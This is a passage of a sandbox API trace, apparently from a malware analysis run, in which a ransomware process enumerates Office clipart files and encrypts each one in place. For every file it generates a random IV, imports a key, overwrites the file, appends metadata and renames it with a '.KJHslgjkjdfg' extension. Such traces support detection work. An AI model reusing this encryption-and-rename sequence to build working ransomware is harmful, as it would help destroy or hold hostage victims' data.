dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.903] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3dec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3dec, lpOverlapped=0x0) returned 1 [0160.904] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3df0, dwBufLen=0x3df0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3df0) returned 1 [0160.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.904] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3df0, lpOverlapped=0x0) returned 1 [0160.905] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.905] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.905] SetEndOfFile (hFile=0x114) returned 1 [0160.907] GetProcessHeap () returned 0x2a0000 [0160.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.907] GetProcessHeap () returned 0x2a0000 [0160.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.kjhslgjkjdfg")) returned 1 [0160.908] CloseHandle (hObject=0x114) returned 1 [0160.908] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0160.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.909] GetProcessHeap () returned 0x2a0000 [0160.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.909] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.909] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.909] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.909] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.909] GetProcessHeap () returned 0x2a0000 [0160.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.909] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.909] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.909] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.912] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.912] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.912] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.912] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.912] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.912] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.913] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb10, lpOverlapped=0x0) returned 1 [0160.913] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb10, dwBufLen=0xb10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb10) returned 1 [0160.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.913] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb10, lpOverlapped=0x0) returned 1 [0160.913] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.913] SetEndOfFile (hFile=0x114) returned 1 [0160.915] GetProcessHeap () returned 0x2a0000 [0160.915] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.915] GetProcessHeap () returned 0x2a0000 [0160.915] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.kjhslgjkjdfg")) returned 1 [0160.916] CloseHandle (hObject=0x114) returned 1 [0160.916] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0160.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.918] GetProcessHeap () returned 0x2a0000 [0160.918] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.918] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.918] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.920] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.920] GetProcessHeap () returned 0x2a0000 [0160.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.920] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.920] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.920] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.920] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.920] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.920] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.920] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.920] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.920] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10ca8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x10ca8, lpOverlapped=0x0) returned 1 [0160.922] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10cb0, dwBufLen=0x10cb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10cb0) returned 1 [0160.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.922] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x10cb0, lpOverlapped=0x0) returned 1 [0160.923] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.923] SetEndOfFile (hFile=0x114) returned 1 [0160.926] GetProcessHeap () returned 0x2a0000 [0160.926] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.926] GetProcessHeap () returned 0x2a0000 [0160.926] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.kjhslgjkjdfg")) returned 1 [0160.927] CloseHandle (hObject=0x114) returned 1 [0160.927] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0160.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.927] GetProcessHeap () returned 0x2a0000 [0160.927] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.927] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.928] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0160.929] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.929] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.930] GetProcessHeap () returned 0x2a0000 [0160.930] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.930] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.930] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.930] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.930] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.930] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.930] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.930] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.930] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.930] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.930] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.930] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.930] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c0a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c0a, lpOverlapped=0x0) returned 1 [0160.931] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c10) returned 1 [0160.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.931] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c10, lpOverlapped=0x0) returned 1 [0160.931] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.931] SetEndOfFile (hFile=0x114) returned 1 [0160.933] GetProcessHeap () returned 0x2a0000 [0160.933] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.933] GetProcessHeap () returned 0x2a0000 [0160.933] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.kjhslgjkjdfg")) returned 1 [0160.934] CloseHandle (hObject=0x114) returned 1 [0160.934] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0160.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.935] GetProcessHeap () returned 0x2a0000 [0160.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.935] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.936] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0160.937] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.937] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.938] GetProcessHeap () returned 0x2a0000 [0160.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.938] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.938] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.938] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.938] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.938] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.938] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.938] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.938] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x486, lpOverlapped=0x0) returned 1 [0160.938] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x490, dwBufLen=0x490 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x490) returned 1 [0160.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.938] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x490, lpOverlapped=0x0) returned 1 [0160.938] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.939] SetEndOfFile (hFile=0x114) returned 1 [0160.941] GetProcessHeap () returned 0x2a0000 [0160.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.941] GetProcessHeap () returned 0x2a0000 [0160.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: 